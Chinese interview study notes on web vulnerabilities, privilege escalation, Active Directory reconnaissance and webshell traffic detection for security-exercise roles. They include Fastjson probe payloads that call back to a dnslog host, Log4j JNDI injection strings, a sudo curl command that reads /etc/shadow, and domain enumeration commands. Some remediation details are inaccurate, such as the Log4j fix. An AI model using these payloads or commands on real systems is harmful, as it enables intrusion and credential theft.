HVV面试问题整理

XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户浏览的网页上，是因WEB应用程序对用户输入过滤不严格而产生的，当用户浏览这些网页时，就会执行其中的恶意代码。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行，这样等同于完全控制了WEB客户端的逻辑，在这个基础上，黑客可以轻易地发起Cookie窃取，会话劫持，钓鱼欺骗等各种各样的攻击。

XSS修复建议

对输入的内容进行过滤，比如过滤掉<> 参数
对将要输出的内容进行HTML编码
对重要的cookie设置httpOnly参数防止客户端通过document.cookie读取 cookie

！！！XSS与CSRF与SSRF漏洞区别

XSS是跨站脚本攻击，攻击的目标是客户端，因为是脚本攻击，所以JS脚本写什么，客户端就会做什么，比如窃取cookie利用方式比较灵活

CSRF是跨站请求伪造，攻击的目标也是客户端，利用时只能窃用cookie，只能利用存在csrf漏洞的功能点，局限性比XSS大

SSRF是服务端请求伪造，攻击的是服务端，危害较大，可以造成内网穿透、命令执行、内网信息泄露

CSRF（跨站请求伪造）

CSRF原理

原理：中文名跨站请求伪造，在用户保持登录状态的情况下，攻击者构造一个站点，诱导用户访问，用户访问后被恶意站点控制跳转到存在CSRF漏洞的页面，假如这个页面是密码修改页面，在这个过程中，保持登录状态的cookie就会被窃用，造成密码修改。

CSRF漏洞修复建议

在重要的功能点上，增加访问来源的验证，比如验证referer头
增加验证码验证，增加token验证

SSRF漏洞（服务端请求伪造）

SSRF漏洞原理

原理：本身是资源的引用，如果没有进行校验，会导致内网不想让别人访问的资源或服务被人探测甚至攻击到的一个漏洞。

SSRF漏洞修复建议

修复：

1.地址做白名单处理

2.域名识别IP 过滤内部IP

3.校验返回的内容，对比一下是否与预期的内容一致

XXE漏洞（XML文档外部实体注入）

XXE漏洞原理

原理: 又叫XML外部实体注入，由于过滤不严格导致的，用户传入的恶意XML文档被解析导致的漏洞

XXE漏洞修复建议

修复建议：

对用户提交的XML数据进行过滤；
设置PHP参数，禁用外部实体写入；

XXE危害

当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE触发点

xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件

反序列化漏洞

反序列化漏洞原理

原理：序列化是指Java对象转化为二进制文件的过程，反序列化指的是这个文件再转化为Java对象的过程，本身是个正常过程，但如果被转化的这个文件是个恶意的，转化后的对象也是会是恶意的，由此可造成命令执行等等威胁。

反序列化漏洞修复建议

一般我们遇到的反序列化漏洞，基本都是使用了具有反序列化漏洞的组件或者类造成的，一般我们打补丁或者升级到最新版本就可以防御。

Shiro反序列化漏洞

Shiro < 1.2.4版本会存在此漏洞，挖掘的时候删除请求包中的rememberMe参数，返回包中包含rememberMe=deleteMe字段。说明使用了shiro组件，可以尝试此漏洞。

如果返回包无此字段，可以通过在发送数据包的cookie中增加字段：****rememberMe=，然后查看返回数据包中是否存在关键字

此漏洞有两个版本利用方式，

SHIRO-550：

不需要提供秘钥，使用默认秘钥就可以利用

SHIRO-721反序列化漏洞

先爆破秘钥，成功后可以进一步利用

Fastjson反序列化漏洞

Fastjson提供了反序列化功能，允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名，由此造成反序列化漏洞；

漏洞挖掘方式：如果请求包中出现http头Accept：application/json，怀疑存在fastjson组件，构造报错，返回包中出现fastjson时，确认使用了fastjson组件，可以尝试此漏洞

Fastjson从1.2.24到1.2.67多个版本存在此漏洞，如果没有回显版本，可以将以下payload，挨个替换到请求内容，尝试是哪个版本的漏洞

{"@type":"java.net.InetSocketAddress"{"address":,"val":"aaa.dnslog.cn"}}

{"@type":"java.net.Inet4Address","val":"aaa.dnslog.cn"}

{"@type":"java.net.Inet6Address","val":"aaa.dnslog.cn"}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL", "val":"http://aaa.dnslog.cn"}}""}

Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}]

Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}

{{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}:0

Log4j2 lookup 功能JNDI注入

原理：本身是Apache日志功能，他有个日志遍历的功能，当碰到${jndi:// } ，会遍历执行，JNDI功能又可以使用ldap或者rmi来引入class文件，我们只需要在class文件中加入需要执行的恶意代码，就可以造成代码注入

流量特征就是${jndi://ldap:// } ${jndi://rmi:// }

防御的话，升级版本，lookup参数设为yes

中间件漏洞

解析漏洞

Apache文件名解析

从后往前解析，如果解析文件a.php.abc，先解析abc，Apache发现不认识，就会往前，解析PHP，最终文件会以PHP方式解析

IIS解析漏洞

1、目录解析：IIS从前往后解析，解析a.asp/a.jpg文件时，会先发现asp后缀，以为文件格式为asp，按照asp的方式解析

2、文件名解析：IIS从前往后解析，解析a.asp;.jpg文件时，会先发现asp后缀，以为文件格式为asp，按照asp的方式解析

Nginx 畸形文件名解析

解析文件a.jpg文件时，访问a.jpg/.php，查找文件内容时，.php不是完整文件名，因此从后往前找到a.jpg文件，确认文件类型时，nginx关注的是后缀，.php有完整的后缀，所以按照php去解析，因此a.jpg文件就会被解析成php

有反序列化漏洞的中间件Tomcat、Jboss、weblogic

Weblogic漏洞

发现端口7001则存在weblogic

未授权访问、反序列化、ssrf漏洞、T3协议反序列化等

内网渗透

提权

Windows提权方式

1、内核提权，利用WinSystemHelper跑一下，给出适合的内核漏洞编号，尝试就可以了

2、数据库提权，MySQL UDF提权，SQLserver使用xp_cmdshell提权

3、应用提权

4、中间人劫持等

Linux提权

内核漏洞提权
SUID提权文件设置SUID 权限，会允许用户执行此文件时，以属主的身份运行，如果此文件的属主为root，则以root身份执行
sudo提权 sudo命令可以使任意用户使用root权限执行命令，此命令被滥用会造成提权
定时任务提权利用crontab设置定时任务，会默认以root身份执行
curl提权 sudo curl file:///etc/shadow 会访问存有所以用户密码哈希值的shadow文件，以此获取到高权限用户密码

内网渗透工具

mimikatz主要用做域渗透

域信息收集

域内基础信息收集

金票：黄金票据，伪造TGT，相当于获取域控权限

银票：白银票据，伪造ST，登录特定服务

1、获取域SID

whoami /all

image.png

域SID主要是用来区分不同域，域用户SID是用来区分域内不同的用户的，在后续票据传递中会使用到。

2、查询域内用户

net user /domain

image.png

通过查询域内用户就可以知道当前这个域内所有的用户名

3、查看域用户的详细信息

net user tom /domain

image.png

通过查看域用户的详细信息可以得到域用户密码的到期时间，所属组以及上次登录的时间等信息

4、查询域列表（假如存在多个域）

net view /domain

image.png

通过查询域列表可以看到，当前存在两个域分别是：C1AY，SUB

5、查看域内主机信息

net view

image.png

通过查询域内主机信息可以看到，当前域内存在着3台计算机。

6、获取所在指定域下的主机名

net view /domain:C1ay

image.png

通过查询指定域下的主机名也可以看到，当前域内存在着3台主机。

7、查看域内计算机

net group "domain computers" /domain

image.png

通过查看域内计算机可以看到，一共有2台计算机加入了当前域。

8、查看域信任关系

nltest /domain_trusts

image.png

通过查看域信任关系可以判断出当前域是否存在着林信任或是父子域信任，后续在跨域攻击或者是跨林攻击中会使用到。

9、查询域密码信息

net accounts /domain

image.png

通过查询域密码信息我们就可以知道当前域用户多久修改⼀次密码，密码策略的是什么，就可以针对性的制定⼀份密码字典，提高效率。

10、查看域内时间（时间服务器）

net time /domain

image.png

通过查看域内时间（时间服务器），我们得知了当前域的时间，我们就可以通过使用定时任务+IPC远程连接的方式来运行⼀些bat文件，后续会详细介绍，

11、查看域内用户组列表

net group /domain

image.png

Domain Admins:域管理员。

Domain Computers: 域内机器。

Domain Controllers:域控制器。

Domain Guest: 域访客，权限较低。

Domain Users: 域用户。

Enterprise Admins: 企业系统管理员用户。

在默认情况下，Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限。

通过查看域的用户组我们可以知道每个组具体是做什么的，比如说⼀些大型企业或者集团会有专门设有财务组、信息组、营销组...等等，那么假设我们要针对于某个部门、某个组、在具体到某个人来进行渗透，那么搜集组信息就尤为关键了。

12、查看存在的用户

dsquery user

image.png

常用的dsquery命令如下：image.png

13、域内控制器的查找方式

1、通过nltest命令查找域控制器

nltest /dclist:hacker

image.png

可以看到当前域内存在着两台域控制器，一台为主控制器，一台为辅域控制器。

2、通过查询域内时间

net time /domain

image.png

因为时间服务器一般为域控制器，我们也可以通过ping命令来获取到域控制器的IP地址：

image.png

3、查看域控制器组

net group "Domain Controllers" /domain

image.png

4、查询主域控制器

netdom query pdc

image.png

5、nslookup查询

nslookup DC1.c1ay.lab

image.png

14、查看域管理员组

net localgroup administrators /domain

流量分析

wireshark使用

wireshark简单的过滤规则

过滤 ip:

过滤源 ip 地址:ip.src==1.1.1.1;,目的 ip 地址:ip.dst==1.1.1.1;

过滤端口:

过滤 80 端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如 http 协议 http

http 模式过滤:

过滤 get/post 包 http.request.mothod=="GET/POST"

菜刀、蚁剑、冰蝎流量特征

菜刀特征

使用了base64的方式加密了发送给“菜刀马”的指令，其中的两个关键payload z1和z2，这个名字是可变的，请求中会有eval这个函数

蚁剑特征

默认的USER-agent请求头是 antsword xxx，但是可以通过修改：/modules/request.js 文件中请求UA绕过

其中流量最中明显的特征为@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码

蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x......=”这种形式（下划线可替换），所以以_0x开头的参数名也很可能就是恶意流量

冰蝎

看包没有发现什么特征，但是可以发现它是POST请求的

1、Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征（UA头的浏览器版本很老）

2、特征分析Content-Type: application/octet-stream 这是一个强特征查阅资料可知octet-stream的意思是，只能提交二进制，而且只能提交一个二进制，如果提交文件的话，只能提交一个文件,后台接收参数只能有一个，而且只能是流（或者字节数组）；很少使用

#冰蝎2特征：

默认Accept字段的值很特殊,而且每个阶段都一样冰蝎内置了十余种UserAgent ，每次连接 shell 会随机选择一个进行使用。但都是比较老的，r容易被检测到，但是可以在burp中修改ua头。

Content-Length: 16, 16就是冰蝎2连接的特征

#冰蝎3特征：

冰蝎3取消动态密钥获取，目前很多waf等设备都做了冰蝎2的流量特征分析，所以3取消了动态密钥获取；php抓包看包没有发现什么特征，但是可以发现它是POST请求的

1）Accept头application/xhtml+xmlapplication/xmlapplication/signed- exchange属于弱特征

2）ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。现实生活中很少有人使用，所以这个也可以作为waf规则特征

jsp抓包特征分析Content-Type: application/octet-stream 这是一个强特征查阅资料可知 octet-stream的意思是，只能提交二进制，而且只能提交一个二进制，如果提交文件的话，只能提交一个文件,后台接收参数只能有一个，而且只能是流（或者字节数组）；很少使用。

Web攻击类的流量告警处置

要按照不同的漏洞及危害程度进行研判和处置，一般方法是：

先看是不是攻击，是的话，攻击先封禁IP及端口，抑制攻击继续

再看有没有成功，成功的话，确定造成的影响，进行恢复

如果是已经沦陷的流量告警，如webshell通信（之前一定有webshell上传）、源地址是内网的攻击（此主机可能已经被攻击拿下），需要进行溯源

发现一个SQL注入告警怎么判断？

天眼告警页面有一个详情，可以打开具体的流量包，先看请求头和请求体是否含有SQL注入常用的SQL语句，比如and 1=1 ，比如sleep，比如updatexml等，如果有的话，说明是攻击，然后看响应，响应状态码为404这种情况，就是没有利用成功，如果是响应码是200，就看响应体内容，看是否包含查询出的预期结果，如果含有预期结果，则攻击成功，处置的话，先申请封禁IP，然后向客户申请对相关服务下架处理，然后对漏洞进行修复，如果被爆出了账号，需要修改密码。